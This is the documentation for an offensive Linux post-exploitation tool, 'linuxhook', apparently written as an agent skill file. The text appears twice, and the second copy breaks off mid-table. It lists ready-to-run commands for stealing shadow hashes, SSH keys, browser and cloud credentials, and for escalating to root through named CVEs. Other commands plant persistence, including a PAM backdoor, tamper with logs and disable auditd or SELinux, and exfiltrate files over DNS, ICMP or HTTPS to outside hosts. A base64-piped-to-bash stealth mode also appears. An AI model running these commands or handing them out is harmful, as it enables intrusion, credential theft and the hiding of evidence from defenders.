Linux Post-Exploitation Methodology
Linux post-exploitation uses native tools and scripting for credential harvesting, privilege escalation, persistence, lateral movement, defense evasion, data exfiltration, and network attacks. After gaining a shell on a Linux target, these 118 programs across 8 categories provide comprehensive offensive capabilities — from /etc/shadow extraction to kernel exploit checks, from cron/systemd persistence to DNS tunnel exfiltration, from SELinux/AppArmor bypass to ARP spoofing.
Multi-Exec Engine
All 118 programs support multiple execution methods with automatic fallback:
| Method |
Engine |
When to Use |
bash |
GNU Bash (default) |
Full bash access, most compatible |
sh |
POSIX sh |
Bash unavailable, minimal environments |
python3 |
Python 3 |
Complex operations, memfd stealth |
perl |
Perl |
Legacy systems, regex-heavy operations |
busybox |
BusyBox |
Embedded/minimal Linux, containers |
auto |
Auto-detect best |
Unknown environment — runs detect_env |
linuxhook shadow_dump --exec sh
linuxhook kernel_exploit_check --exec auto
Stealth Modes
| Mode |
Technique |
Use Case |
base64 |
echo ENCODED | base64 -d | bash |
Bypass string-based command logging |
memfd |
Python3 memfd_create fileless exec |
No file touches disk, bypasses file monitoring |
shm |
/dev/shm tmpfs execution |
Fast tmpfs execution, auto-cleanup |
linuxhook shadow_dump --stealth base64
linuxhook cron_persist --stealth memfd --command CMD
Prerequisites
Before deploying linuxhook tools, verify:
- Environment detection — run
linuxhook detect_env FIRST to determine available tools and recommended exec method
- Access level — check root/sudo status; most credential and persistence operations require elevated privileges
- Security frameworks — run
linuxhook security_framework to assess SELinux, AppArmor, seccomp, and audit status
- Container check — run
linuxhook container_detect to verify you're on the host, not in a container
# Step 0 — environment detection (ALWAYS run first)
linuxhook detect_env
# Step 1 — stealth capability check
linuxhook stealth_check_linux
Kill Chain Phases
Phase 1 — Reconnaissance
Comprehensive system and environment assessment.
| Action |
Command |
Purpose |
| Environment detect |
linuxhook detect_env |
ALWAYS run first — exec methods, root status, kernel, security frameworks |
| Full recon |
linuxhook local_recon_linux |
All-in-one system/user/network/process/security scan |
| System info |
linuxhook system_info --verbose |
Hostname, kernel, CPU, memory, uptime, environment |
| Process enum |
linuxhook process_enum |
Running processes, security tools, monitoring agents |
| Network enum |
linuxhook network_enum |
Interfaces, routes, DNS, connections, iptables rules |
| User enum |
linuxhook user_enum |
Users, groups, sudo members, SSH keys, home dirs |
| Service enum |
linuxhook service_enum |
Systemd units, init.d scripts, daemons |
| Package enum |
linuxhook package_enum --security-only |
Security-relevant packages and CVE candidates |
| Container detect |
linuxhook container_detect |
Docker/LXC/K8s/Podman/WSL detection |
| Security framework |
linuxhook security_framework |
SELinux, AppArmor, seccomp, PAM, audit status |
| Interesting files |
linuxhook interesting_files --deep |
SUID/SGID, world-writable, configs, backups, keys |
| Mount enum |
linuxhook mount_enum |
Filesystems, NFS/CIFS, mount options (nosuid/noexec) |
| Kernel modules |
linuxhook kernel_module_enum |
Loaded modules, security modules, rootkit indicators |
| Stealth check |
linuxhook stealth_check_linux |
Test all exec methods and stealth modes |
Phase 2 — Credential Harvesting
Extract credentials from multiple sources.
| Action |
Command |
Purpose |
| Shadow dump |
linuxhook shadow_dump |
/etc/shadow hash extraction and analysis |
| SSH keys |
linuxhook ssh_key_harvest |
SSH private keys from all users |
| History secrets |
linuxhook bash_history_secrets |
Passwords/tokens from shell history |
| GNOME Keyring |
linuxhook gnome_keyring_dump |
GNOME Keyring stored passwords |
| KWallet |
linuxhook kwallet_dump |
KDE Wallet stored passwords |
| Browser creds |
linuxhook browser_creds_linux --browser all |
Chrome/Firefox saved passwords and cookies |
| Environment |
linuxhook env_secrets |
API keys/tokens from /proc/*/environ |
| Process memory |
linuxhook proc_memory_harvest |
Credentials from sshd/sudo/su process memory |
| GPG keys |
linuxhook gpg_key_extract |
GPG private keys and passphrases |
| Cloud creds |
linuxhook cloud_cred_harvest |
AWS/GCP/Azure credential files and metadata |
| Docker creds |
linuxhook docker_config_creds |
Docker registry auth tokens |
| Git creds |
linuxhook git_cred_harvest |
Git credentials, GitHub/GitLab tokens |
| WiFi creds |
linuxhook wifi_creds_nm |
NetworkManager WiFi passwords |
| Kerberos |
linuxhook kerberos_keytab |
Keytab files and ccache tickets |
| Database creds |
linuxhook db_cred_harvest |
MySQL/PostgreSQL/MongoDB/Redis credentials |
| VNC password |
linuxhook vnc_password |
VNC password files (DES-encrypted, trivially reversible) |
| Mail spool |
linuxhook mail_spool_harvest |
Credentials in email (password resets, tokens) |
| Netrc |
linuxhook netrc_harvest |
Plaintext .netrc FTP/HTTP credentials |
| LDAP creds |
linuxhook ldap_cred_harvest |
LDAP bind passwords from configs |
| Credential scan |
linuxhook credential_files_scan --deep |
Broad filesystem credential file discovery |
Phase 3 — Privilege Escalation
Escalate from standard user to root via 25 techniques.
| Action |
Command |
Purpose |
| Sudo misconfig |
linuxhook sudo_misconfig |
Sudoers analysis, NOPASSWD, GTFOBins |
| SUID/SGID scan |
linuxhook suid_sgid_scan |
SUID/SGID binaries with GTFOBins matching |
| Capabilities |
linuxhook capabilities_abuse |
Dangerous capabilities (cap_setuid, cap_sys_admin) |
| Cron privesc |
linuxhook cron_privesc |
Writable cron scripts, PATH hijack |
| NFS root squash |
linuxhook nfs_no_root_squash |
NFS no_root_squash SUID escalation |
| PATH hijack |
linuxhook path_hijack |
Writable PATH directories for root scripts |
| LD_PRELOAD |
linuxhook ld_preload_abuse |
LD_PRELOAD env_keep and ld.so.preload |
| Kernel exploits |
linuxhook kernel_exploit_check |
DirtyPipe, DirtyCow, PwnKit, OverlayFS, netfilter |
| Writable passwd |
linuxhook writable_passwd |
Add root user to writable /etc/passwd |
| PwnKit |
linuxhook pkexec_cve |
CVE-2021-4034 pkexec local privesc |
| Systemd units |
linuxhook systemd_unit_abuse |
Writable service files, ExecStart override |
| D-Bus exploit |
linuxhook dbus_exploit |
D-Bus services with permissive policies |
| pip setup abuse |
linuxhook pip_setup_abuse |
sudo pip install code execution |
| Shared lib hijack |
linuxhook shared_lib_hijack |
RPATH/RUNPATH library hijacking |
| logrotate race |
linuxhook logrotate_race |
CVE-2016-1247 log symlink race |
| Writable services |
linuxhook writable_service_bin |
Root services with writable binaries |
| Polkit bypass |
linuxhook polkit_bypass |
CVE-2021-3560, CVE-2021-4034 |
| Snap privesc |
linuxhook snap_privesc |
DirtySnap CVE-2022-3328 |
| Docker escape |
linuxhook docker_group_escape |
Docker group → root via host mount |
| LXD escape |
linuxhook lxd_group_escape |
LXD group → root via container privesc |
| Python lib hijack |
linuxhook python_lib_hijack |
Writable sys.path, PYTHONPATH injection |
| MOTD abuse |
linuxhook motd_abuse |
Writable /etc/update-motd.d/ scripts |
| Wildcard injection |
linuxhook wildcard_injection |
tar/rsync/chown wildcard in cron/scripts |
| MySQL UDF |
linuxhook mysql_udf |
MySQL UDF → system command execution |
| ptrace scope |
linuxhook ptrace_scope_check |
Yama ptrace_scope restrictions |
Phase 4 — Persistence
Establish persistent access via 22 mechanisms.
| Action |
Command |
Purpose |
| Cron |
linuxhook cron_persist --command CMD |
Crontab or /etc/cron.d/ persistence |
| Systemd |
linuxhook systemd_persist --command CMD --name NAME |
Systemd service/timer auto-start |
| Bashrc |
linuxhook bashrc_persist --command CMD |
Shell RC file injection |
| SSH keys |
linuxhook ssh_authorized_keys --key PUBKEY |
SSH authorized key injection |
| ld.so.preload |
linuxhook ld_so_preload --library PATH |
System-wide library injection |
| SysVinit |
linuxhook sysvinit_persist --command CMD |
/etc/init.d/ script persistence |
| at job |
linuxhook at_job_persist --command CMD --time TIME |
Delayed one-time execution |
| udev rules |
linuxhook udev_rules_persist --command CMD |
Device-event triggered execution |
| PAM backdoor |
linuxhook pam_backdoor --password PASS |
Master password authentication bypass |
| MOTD |
linuxhook motd_persist --command CMD |
Login-triggered root execution |
| XDG autostart |
linuxhook xdg_autostart --command CMD |
Graphical session autostart |
| Git hooks |
linuxhook git_hook_persist --command CMD --repo PATH |
Git operation hooks |
| Kernel module |
linuxhook kernel_module_persist --module PATH |
Boot-persistent kernel module |
| APT hook |
linuxhook apt_hook_persist --command CMD |
Execute on apt operations |
| dpkg trigger |
linuxhook dpkg_trigger_persist --command CMD |
Execute on package operations |
| Socket activation |
linuxhook socket_activation --command CMD --port PORT |
On-demand systemd socket service |
| User service |
linuxhook user_service_persist --command CMD |
Rootless systemd user service |
| xinetd |
linuxhook xinetd_persist --command CMD --port PORT |
On-connection service spawning |
| rc.local |
linuxhook rc_local_persist --command CMD |
Legacy boot script execution |
| logrotate |
linuxhook logrotate_persist --command CMD |
Log rotation hook execution |
| SSH RC |
linuxhook ssh_rc_persist --command CMD |
Pre-shell SSH login execution |
| ld.so.conf |
linuxhook ld_config_persist --library-path PATH |
Library search path injection |
Phase 5 — Lateral Movement
Move laterally using Linux infrastructure.
| Action |
Command |
Purpose |
| SSH pivot |
linuxhook ssh_pivot --target HOST |
SSH key/password lateral movement |
| Ansible |
linuxhook ansible_abuse |
Exploit Ansible for mass execution |
| Puppet |
linuxhook puppet_abuse |
Exploit Puppet agent/master trust |
| Salt |
linuxhook salt_abuse |
Exploit SaltStack master→minion |
| NFS mount |
linuxhook nfs_mount_attack --target HOST |
Mount NFS exports for file access |
| rsync |
linuxhook rsync_exploit --target HOST |
Exploit anonymous rsync access |
| SSH tunnel |
linuxhook ssh_tunnel --target HOST --type dynamic |
SOCKS/local/remote SSH tunnels |
| socat tunnel |
linuxhook socat_tunnel --listen PORT --connect HOST:PORT |
TCP/UDP/SSL tunnels |
| Internal scan |
linuxhook internal_scan --target CIDR |
Ping sweep and port scan |
| Proxychains |
linuxhook proxychains_setup --proxy HOST:PORT |
Configure proxychains for tunneling |
Phase 6 — Defense Evasion
Evade monitoring and detection.
| Action |
Command |
Purpose |
| Log tamper |
linuxhook log_tamper |
Surgical log entry removal |
| History clear |
linuxhook history_clear |
Shell history cleanup |
| Timestomp |
linuxhook timestomp --target PATH --reference REF |
Modify file timestamps |
| auditd evade |
linuxhook auditd_evade --action check |
Disable/modify audit subsystem |
| SELinux bypass |
linuxhook selinux_bypass --action check |
Set permissive, exploit domains |
| AppArmor bypass |
linuxhook apparmor_bypass --action check |
Set complain mode, disable profiles |
| Rootkit detect |
linuxhook rootkit_detect --deep |
Detect existing rootkits and hooks |
| Process hide |
linuxhook process_hide --pid PID |
Hide processes from enumeration |
| File hide |
linuxhook file_hide --path PATH |
Hide files from directory listings |
| Network hide |
linuxhook network_hide --port PORT |
Hide network connections |
| Syslog manipulate |
linuxhook syslog_manipulate --action filter |
Redirect/filter syslog entries |
| Stealth check |
linuxhook stealth_check_linux |
Verify stealth modes work on target |
Phase 7 — Data Exfiltration
Stage and exfiltrate data through multiple channels.
| Action |
Command |
Purpose |
| Stage data |
linuxhook data_stage --path PATH |
Find, compress, encrypt sensitive files |
| DNS tunnel |
linuxhook dns_tunnel_exfil --file PATH --domain DOMAIN |
Exfil via DNS subdomain encoding |
| ICMP exfil |
linuxhook icmp_exfil --file PATH --target IP |
Exfil via ICMP echo payload |
| Covert channel |
linuxhook covert_channel --type timing --target HOST |
Timing/storage/protocol covert channels |
| HTTPS exfil |
linuxhook https_exfil --file PATH --url URL |
POST data over TLS |
| Artifact enum |
linuxhook artifact_enum |
Enumerate forensic artifacts from engagement |
| Steganography |
linuxhook steganography_exfil --file PATH --cover IMAGE |
Hide data in image/audio files |
Phase 8 — Network Attacks
Network-level attacks from compromised host.
| Action |
Command |
Purpose |
| ARP spoof |
linuxhook arp_spoof --target IP --gateway IP |
ARP cache poisoning for MITM |
| DNS spoof |
linuxhook dns_spoof --domain DOMAIN --ip IP |
DNS response spoofing |
| Packet capture |
linuxhook packet_capture --interface eth0 --duration 60 |
Traffic capture with BPF filters |
| Port scan |
linuxhook port_scan_native --target HOST --ports 1-1024 |
Native port scanning (no nmap needed) |
| MITM proxy |
linuxhook mitm_proxy --port 8080 |
Transparent proxy for interception |
| Responder |
linuxhook responder_linux --interface eth0 |
LLMNR/NBT-NS hash capture |
| Firewall enum |
linuxhook firewall_enum |
iptables/nftables/ufw/firewalld rules |
| Traffic redirect |
linuxhook traffic_redirect --src-port 80 --dst HOST:8080 |
iptables DNAT/SNAT forwarding |
| WiFi attack |
linuxhook wifi_attack --action scan |
Wireless scanning, deauth, handshake capture |
Phase 9 — Cleanup (MANDATORY)
Always run cleanup before leaving a target.
linuxhook cleanup_linux
Removes CyberStrike artifacts: clears logs, removes persistence mechanisms, restores modified configs, cleans temp files.
Detection Considerations
Linux post-exploitation tools are detectable by:
- auditd — syscall monitoring, file access, process execution
- SELinux/AppArmor — mandatory access control enforcement
- AIDE/Tripwire — file integrity monitoring
- syslog/journald — authentication logs, system events
- Falco/Sysdig — runtime security monitoring
- OSSEC/Wazuh — host-based intrusion detection
- eBPF-based tools — kernel-level monitoring (Cilium, Tetragon)
Program Reference
| Program |
Technique |
MITRE ATT&CK |
| shadow_dump |
/etc/shadow hash extraction |
T1003.008 — /etc/passwd and /etc/shadow |
| ssh_key_harvest |
SSH private key collection |
T1552.004 — Private Keys |
| bash_history_secrets |
Shell history credential extraction |
T1552.003 — Bash History |
| gnome_keyring_dump |
GNOME Keyring extraction |
T1555.001 — Keychain |
| browser_creds_linux |
Browser credential extraction |
T1555.003 — Credentials from Web Browsers |
| env_secrets |
Environment variable secrets |
T1552.001 — Credentials In Files |
| proc_memory_harvest |
Process memory credential harvesting |
T1003 — OS Credential Dumping |
| cloud_cred_harvest |
Cloud provider credential files |
T1552.001 — Credentials In Files |
| sudo_misconfig |
Sudo misconfiguration analysis |
T1548.003 — Sudo and Sudo Caching |
| suid_sgid_scan |
SUID/SGID binary exploitation |
T1548.001 — Setuid and Setgid |
| capabilities_abuse |
Linux capabilities exploitation |
T1548.001 — Setuid and Setgid |
| kernel_exploit_check |
Kernel CVE assessment |
T1068 — Exploitation for Privilege Escalation |
| docker_group_escape |
Docker group privilege escalation |
T1611 — Escape to Host |
| cron_persist |
Cron-based persistence |
T1053.003 — Cron |
| systemd_persist |
Systemd service persistence |
T1543.002 — Systemd Service |
| ssh_authorized_keys |
SSH key persistence |
T1098.004 — SSH Authorized Keys |
| pam_backdoor |
PAM authentication backdoor |
T1556.003 — Pluggable Authentication Modules |
| ssh_pivot |
SSH lateral movement |
T1021.004 — SSH |
| ansible_abuse |
Ansible infrastructure abuse |
T1072 — Software Deployment Tools |
| log_tamper |
Log entry manipulation |
T1070.002 — Clear Linux or Mac System Logs |
| history_clear |
Shell history removal |
T1070.003 — Clear Command History |
| timestomp |
File timestamp modification |
T1070.006 — Timestomp |
| auditd_evade |
Audit system evasion |
T1562.001 — Disable or Modify Tools |
| selinux_bypass |
SELinux bypass |
T1562.001 — Disable or Modify Tools |
| rootkit_detect |
Rootkit detection |
T1014 — Rootkit |
| dns_tunnel_exfil |
DNS-based data exfiltration |
T1048.001 — Exfiltration Over Symmetric Encrypted Non-C2 Protocol |
| arp_spoof |
ARP cache poisoning |
T1557.002 — ARP Cache Poisoning |
| packet_capture |
Network traffic capture |
T1040 — Network Sniffing |
| cleanup_linux |
Artifact removal |
T1070 — Indicator Removal |
1---2name: linux-postexploit3description: Linux post-exploitation — credential harvesting, privilege escalation, persistence, lateral movement, evasion, exfiltration, and network attacks with multi-exec fallback (bash/sh/python3/perl/busybox) and stealth modes (base64/memfd/shm)4---56# Linux Post-Exploitation Methodology78Linux post-exploitation uses native tools and scripting for credential harvesting, privilege escalation, persistence, lateral movement, defense evasion, data exfiltration, and network attacks. After gaining a shell on a Linux target, these 118 programs across 8 categories provide comprehensive offensive capabilities — from /etc/shadow extraction to kernel exploit checks, from cron/systemd persistence to DNS tunnel exfiltration, from SELinux/AppArmor bypass to ARP spoofing.910## Multi-Exec Engine1112All 118 programs support multiple execution methods with automatic fallback:1314| Method | Engine | When to Use |15|--------|--------|-------------|16| `bash` | GNU Bash (default) | Full bash access, most compatible |17| `sh` | POSIX sh | Bash unavailable, minimal environments |18| `python3` | Python 3 | Complex operations, memfd stealth |19| `perl` | Perl | Legacy systems, regex-heavy operations |20| `busybox` | BusyBox | Embedded/minimal Linux, containers |21| `auto` | Auto-detect best | Unknown environment — runs detect_env |2223```bash24linuxhook shadow_dump --exec sh25linuxhook kernel_exploit_check --exec auto26```2728## Stealth Modes2930| Mode | Technique | Use Case |31|------|-----------|----------|32| `base64` | `echo ENCODED \| base64 -d \| bash` | Bypass string-based command logging |33| `memfd` | Python3 `memfd_create` fileless exec | No file touches disk, bypasses file monitoring |34| `shm` | `/dev/shm` tmpfs execution | Fast tmpfs execution, auto-cleanup |3536```bash37linuxhook shadow_dump --stealth base6438linuxhook cron_persist --stealth memfd --command CMD39```4041## Prerequisites4243Before deploying linuxhook tools, verify:44451. **Environment detection** — run `linuxhook detect_env` FIRST to determine available tools and recommended exec method462. **Access level** — check root/sudo status; most credential and persistence operations require elevated privileges473. **Security frameworks** — run `linuxhook security_framework` to assess SELinux, AppArmor, seccomp, and audit status484. **Container check** — run `linuxhook container_detect` to verify you're on the host, not in a container4950```bash51# Step 0 — environment detection (ALWAYS run first)52linuxhook detect_env5354# Step 1 — stealth capability check55linuxhook stealth_check_linux56```5758## Kill Chain Phases5960### Phase 1 — Reconnaissance6162Comprehensive system and environment assessment.6364| Action | Command | Purpose |65|--------|---------|---------|66| Environment detect | `linuxhook detect_env` | **ALWAYS run first** — exec methods, root status, kernel, security frameworks |67| Full recon | `linuxhook local_recon_linux` | All-in-one system/user/network/process/security scan |68| System info | `linuxhook system_info --verbose` | Hostname, kernel, CPU, memory, uptime, environment |69| Process enum | `linuxhook process_enum` | Running processes, security tools, monitoring agents |70| Network enum | `linuxhook network_enum` | Interfaces, routes, DNS, connections, iptables rules |71| User enum | `linuxhook user_enum` | Users, groups, sudo members, SSH keys, home dirs |72| Service enum | `linuxhook service_enum` | Systemd units, init.d scripts, daemons |73| Package enum | `linuxhook package_enum --security-only` | Security-relevant packages and CVE candidates |74| Container detect | `linuxhook container_detect` | Docker/LXC/K8s/Podman/WSL detection |75| Security framework | `linuxhook security_framework` | SELinux, AppArmor, seccomp, PAM, audit status |76| Interesting files | `linuxhook interesting_files --deep` | SUID/SGID, world-writable, configs, backups, keys |77| Mount enum | `linuxhook mount_enum` | Filesystems, NFS/CIFS, mount options (nosuid/noexec) |78| Kernel modules | `linuxhook kernel_module_enum` | Loaded modules, security modules, rootkit indicators |79| Stealth check | `linuxhook stealth_check_linux` | Test all exec methods and stealth modes |8081### Phase 2 — Credential Harvesting8283Extract credentials from multiple sources.8485| Action | Command | Purpose |86|--------|---------|---------|87| Shadow dump | `linuxhook shadow_dump` | /etc/shadow hash extraction and analysis |88| SSH keys | `linuxhook ssh_key_harvest` | SSH private keys from all users |89| History secrets | `linuxhook bash_history_secrets` | Passwords/tokens from shell history |90| GNOME Keyring | `linuxhook gnome_keyring_dump` | GNOME Keyring stored passwords |91| KWallet | `linuxhook kwallet_dump` | KDE Wallet stored passwords |92| Browser creds | `linuxhook browser_creds_linux --browser all` | Chrome/Firefox saved passwords and cookies |93| Environment | `linuxhook env_secrets` | API keys/tokens from /proc/*/environ |94| Process memory | `linuxhook proc_memory_harvest` | Credentials from sshd/sudo/su process memory |95| GPG keys | `linuxhook gpg_key_extract` | GPG private keys and passphrases |96| Cloud creds | `linuxhook cloud_cred_harvest` | AWS/GCP/Azure credential files and metadata |97| Docker creds | `linuxhook docker_config_creds` | Docker registry auth tokens |98| Git creds | `linuxhook git_cred_harvest` | Git credentials, GitHub/GitLab tokens |99| WiFi creds | `linuxhook wifi_creds_nm` | NetworkManager WiFi passwords |100| Kerberos | `linuxhook kerberos_keytab` | Keytab files and ccache tickets |101| Database creds | `linuxhook db_cred_harvest` | MySQL/PostgreSQL/MongoDB/Redis credentials |102| VNC password | `linuxhook vnc_password` | VNC password files (DES-encrypted, trivially reversible) |103| Mail spool | `linuxhook mail_spool_harvest` | Credentials in email (password resets, tokens) |104| Netrc | `linuxhook netrc_harvest` | Plaintext .netrc FTP/HTTP credentials |105| LDAP creds | `linuxhook ldap_cred_harvest` | LDAP bind passwords from configs |106| Credential scan | `linuxhook credential_files_scan --deep` | Broad filesystem credential file discovery |107108### Phase 3 — Privilege Escalation109110Escalate from standard user to root via 25 techniques.111112| Action | Command | Purpose |113|--------|---------|---------|114| Sudo misconfig | `linuxhook sudo_misconfig` | Sudoers analysis, NOPASSWD, GTFOBins |115| SUID/SGID scan | `linuxhook suid_sgid_scan` | SUID/SGID binaries with GTFOBins matching |116| Capabilities | `linuxhook capabilities_abuse` | Dangerous capabilities (cap_setuid, cap_sys_admin) |117| Cron privesc | `linuxhook cron_privesc` | Writable cron scripts, PATH hijack |118| NFS root squash | `linuxhook nfs_no_root_squash` | NFS no_root_squash SUID escalation |119| PATH hijack | `linuxhook path_hijack` | Writable PATH directories for root scripts |120| LD_PRELOAD | `linuxhook ld_preload_abuse` | LD_PRELOAD env_keep and ld.so.preload |121| Kernel exploits | `linuxhook kernel_exploit_check` | DirtyPipe, DirtyCow, PwnKit, OverlayFS, netfilter |122| Writable passwd | `linuxhook writable_passwd` | Add root user to writable /etc/passwd |123| PwnKit | `linuxhook pkexec_cve` | CVE-2021-4034 pkexec local privesc |124| Systemd units | `linuxhook systemd_unit_abuse` | Writable service files, ExecStart override |125| D-Bus exploit | `linuxhook dbus_exploit` | D-Bus services with permissive policies |126| pip setup abuse | `linuxhook pip_setup_abuse` | sudo pip install code execution |127| Shared lib hijack | `linuxhook shared_lib_hijack` | RPATH/RUNPATH library hijacking |128| logrotate race | `linuxhook logrotate_race` | CVE-2016-1247 log symlink race |129| Writable services | `linuxhook writable_service_bin` | Root services with writable binaries |130| Polkit bypass | `linuxhook polkit_bypass` | CVE-2021-3560, CVE-2021-4034 |131| Snap privesc | `linuxhook snap_privesc` | DirtySnap CVE-2022-3328 |132| Docker escape | `linuxhook docker_group_escape` | Docker group → root via host mount |133| LXD escape | `linuxhook lxd_group_escape` | LXD group → root via container privesc |134| Python lib hijack | `linuxhook python_lib_hijack` | Writable sys.path, PYTHONPATH injection |135| MOTD abuse | `linuxhook motd_abuse` | Writable /etc/update-motd.d/ scripts |136| Wildcard injection | `linuxhook wildcard_injection` | tar/rsync/chown wildcard in cron/scripts |137| MySQL UDF | `linuxhook mysql_udf` | MySQL UDF → system command execution |138| ptrace scope | `linuxhook ptrace_scope_check` | Yama ptrace_scope restrictions |139140### Phase 4 — Persistence141142Establish persistent access via 22 mechanisms.143144| Action | Command | Purpose |145|--------|---------|---------|146| Cron | `linuxhook cron_persist --command CMD` | Crontab or /etc/cron.d/ persistence |147| Systemd | `linuxhook systemd_persist --command CMD --name NAME` | Systemd service/timer auto-start |148| Bashrc | `linuxhook bashrc_persist --command CMD` | Shell RC file injection |149| SSH keys | `linuxhook ssh_authorized_keys --key PUBKEY` | SSH authorized key injection |150| ld.so.preload | `linuxhook ld_so_preload --library PATH` | System-wide library injection |151| SysVinit | `linuxhook sysvinit_persist --command CMD` | /etc/init.d/ script persistence |152| at job | `linuxhook at_job_persist --command CMD --time TIME` | Delayed one-time execution |153| udev rules | `linuxhook udev_rules_persist --command CMD` | Device-event triggered execution |154| PAM backdoor | `linuxhook pam_backdoor --password PASS` | Master password authentication bypass |155| MOTD | `linuxhook motd_persist --command CMD` | Login-triggered root execution |156| XDG autostart | `linuxhook xdg_autostart --command CMD` | Graphical session autostart |157| Git hooks | `linuxhook git_hook_persist --command CMD --repo PATH` | Git operation hooks |158| Kernel module | `linuxhook kernel_module_persist --module PATH` | Boot-persistent kernel module |159| APT hook | `linuxhook apt_hook_persist --command CMD` | Execute on apt operations |160| dpkg trigger | `linuxhook dpkg_trigger_persist --command CMD` | Execute on package operations |161| Socket activation | `linuxhook socket_activation --command CMD --port PORT` | On-demand systemd socket service |162| User service | `linuxhook user_service_persist --command CMD` | Rootless systemd user service |163| xinetd | `linuxhook xinetd_persist --command CMD --port PORT` | On-connection service spawning |164| rc.local | `linuxhook rc_local_persist --command CMD` | Legacy boot script execution |165| logrotate | `linuxhook logrotate_persist --command CMD` | Log rotation hook execution |166| SSH RC | `linuxhook ssh_rc_persist --command CMD` | Pre-shell SSH login execution |167| ld.so.conf | `linuxhook ld_config_persist --library-path PATH` | Library search path injection |168169### Phase 5 — Lateral Movement170171Move laterally using Linux infrastructure.172173| Action | Command | Purpose |174|--------|---------|---------|175| SSH pivot | `linuxhook ssh_pivot --target HOST` | SSH key/password lateral movement |176| Ansible | `linuxhook ansible_abuse` | Exploit Ansible for mass execution |177| Puppet | `linuxhook puppet_abuse` | Exploit Puppet agent/master trust |178| Salt | `linuxhook salt_abuse` | Exploit SaltStack master→minion |179| NFS mount | `linuxhook nfs_mount_attack --target HOST` | Mount NFS exports for file access |180| rsync | `linuxhook rsync_exploit --target HOST` | Exploit anonymous rsync access |181| SSH tunnel | `linuxhook ssh_tunnel --target HOST --type dynamic` | SOCKS/local/remote SSH tunnels |182| socat tunnel | `linuxhook socat_tunnel --listen PORT --connect HOST:PORT` | TCP/UDP/SSL tunnels |183| Internal scan | `linuxhook internal_scan --target CIDR` | Ping sweep and port scan |184| Proxychains | `linuxhook proxychains_setup --proxy HOST:PORT` | Configure proxychains for tunneling |185186### Phase 6 — Defense Evasion187188Evade monitoring and detection.189190| Action | Command | Purpose |191|--------|---------|---------|192| Log tamper | `linuxhook log_tamper` | Surgical log entry removal |193| History clear | `linuxhook history_clear` | Shell history cleanup |194| Timestomp | `linuxhook timestomp --target PATH --reference REF` | Modify file timestamps |195| auditd evade | `linuxhook auditd_evade --action check` | Disable/modify audit subsystem |196| SELinux bypass | `linuxhook selinux_bypass --action check` | Set permissive, exploit domains |197| AppArmor bypass | `linuxhook apparmor_bypass --action check` | Set complain mode, disable profiles |198| Rootkit detect | `linuxhook rootkit_detect --deep` | Detect existing rootkits and hooks |199| Process hide | `linuxhook process_hide --pid PID` | Hide processes from enumeration |200| File hide | `linuxhook file_hide --path PATH` | Hide files from directory listings |201| Network hide | `linuxhook network_hide --port PORT` | Hide network connections |202| Syslog manipulate | `linuxhook syslog_manipulate --action filter` | Redirect/filter syslog entries |203| Stealth check | `linuxhook stealth_check_linux` | Verify stealth modes work on target |204205### Phase 7 — Data Exfiltration206207Stage and exfiltrate data through multiple channels.208209| Action | Command | Purpose |210|--------|---------|---------|211| Stage data | `linuxhook data_stage --path PATH` | Find, compress, encrypt sensitive files |212| DNS tunnel | `linuxhook dns_tunnel_exfil --file PATH --domain DOMAIN` | Exfil via DNS subdomain encoding |213| ICMP exfil | `linuxhook icmp_exfil --file PATH --target IP` | Exfil via ICMP echo payload |214| Covert channel | `linuxhook covert_channel --type timing --target HOST` | Timing/storage/protocol covert channels |215| HTTPS exfil | `linuxhook https_exfil --file PATH --url URL` | POST data over TLS |216| Artifact enum | `linuxhook artifact_enum` | Enumerate forensic artifacts from engagement |217| Steganography | `linuxhook steganography_exfil --file PATH --cover IMAGE` | Hide data in image/audio files |218219### Phase 8 — Network Attacks220221Network-level attacks from compromised host.222223| Action | Command | Purpose |224|--------|---------|---------|225| ARP spoof | `linuxhook arp_spoof --target IP --gateway IP` | ARP cache poisoning for MITM |226| DNS spoof | `linuxhook dns_spoof --domain DOMAIN --ip IP` | DNS response spoofing |227| Packet capture | `linuxhook packet_capture --interface eth0 --duration 60` | Traffic capture with BPF filters |228| Port scan | `linuxhook port_scan_native --target HOST --ports 1-1024` | Native port scanning (no nmap needed) |229| MITM proxy | `linuxhook mitm_proxy --port 8080` | Transparent proxy for interception |230| Responder | `linuxhook responder_linux --interface eth0` | LLMNR/NBT-NS hash capture |231| Firewall enum | `linuxhook firewall_enum` | iptables/nftables/ufw/firewalld rules |232| Traffic redirect | `linuxhook traffic_redirect --src-port 80 --dst HOST:8080` | iptables DNAT/SNAT forwarding |233| WiFi attack | `linuxhook wifi_attack --action scan` | Wireless scanning, deauth, handshake capture |234235### Phase 9 — Cleanup (MANDATORY)236237Always run cleanup before leaving a target.238239```bash240linuxhook cleanup_linux241```242243Removes CyberStrike artifacts: clears logs, removes persistence mechanisms, restores modified configs, cleans temp files.244245## Detection Considerations246247Linux post-exploitation tools are detectable by:248- **auditd** — syscall monitoring, file access, process execution249- **SELinux/AppArmor** — mandatory access control enforcement250- **AIDE/Tripwire** — file integrity monitoring251- **syslog/journald** — authentication logs, system events252- **Falco/Sysdig** — runtime security monitoring253- **OSSEC/Wazuh** — host-based intrusion detection254- **eBPF-based tools** — kernel-level monitoring (Cilium, Tetragon)255256## Program Reference257258| Program | Technique | MITRE ATT&CK |259|---------|-----------|---------------|260| shadow_dump | /etc/shadow hash extraction | T1003.008 — /etc/passwd and /etc/shadow |261| ssh_key_harvest | SSH private key collection | T1552.004 — Private Keys |262| bash_history_secrets | Shell history credential extraction | T1552.003 — Bash History |263| gnome_keyring_dump | GNOME Keyring extraction | T1555.001 — Keychain |264| browser_creds_linux | Browser credential extraction | T1555.003 — Credentials from Web Browsers |265| env_secrets | Environment variable secrets | T1552.001 — Credentials In Files |266| proc_memory_harvest | Process memory credential harvesting | T1003 — OS Credential Dumping |267| cloud_cred_harvest | Cloud provider credential files | T1552.001 — Credentials In Files |268| sudo_misconfig | Sudo misconfiguration analysis | T1548.003 — Sudo and Sudo Caching |269| suid_sgid_scan | SUID/SGID binary exploitation | T1548.001 — Setuid and Setgid |270| capabilities_abuse | Linux capabilities exploitation | T1548.001 — Setuid and Setgid |271| kernel_exploit_check | Kernel CVE assessment | T1068 — Exploitation for Privilege Escalation |272| docker_group_escape | Docker group privilege escalation | T1611 — Escape to Host |273| cron_persist | Cron-based persistence | T1053.003 — Cron |274| systemd_persist | Systemd service persistence | T1543.002 — Systemd Service |275| ssh_authorized_keys | SSH key persistence | T1098.004 — SSH Authorized Keys |276| pam_backdoor | PAM authentication backdoor | T1556.003 — Pluggable Authentication Modules |277| ssh_pivot | SSH lateral movement | T1021.004 — SSH 